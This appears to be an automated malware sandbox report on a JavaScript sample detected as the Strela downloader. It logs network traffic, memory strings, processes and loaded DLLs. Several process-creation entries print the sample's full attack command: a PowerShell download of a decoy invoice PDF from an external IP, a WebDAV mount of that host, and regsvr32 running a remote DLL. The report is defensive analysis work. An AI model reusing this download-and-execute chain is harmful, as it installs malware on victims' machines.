6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:55071 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2061867784.0000028510947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2119154361.000001DE8AB58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2118859710.000001DE8AB88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2119326515.000001DE8AB88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/=
Source: svchost.exe, 00000009.00000002.3345219728.000002E2FBE11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2130954000.000002E2FBC30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3560, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 321646101945257.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_si4vdvup.r1d.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 321646101945257.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\321646101945257.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1528,i,9408754715289041947,3507642621052571991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1528,i,9408754715289041947,3507642621052571991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
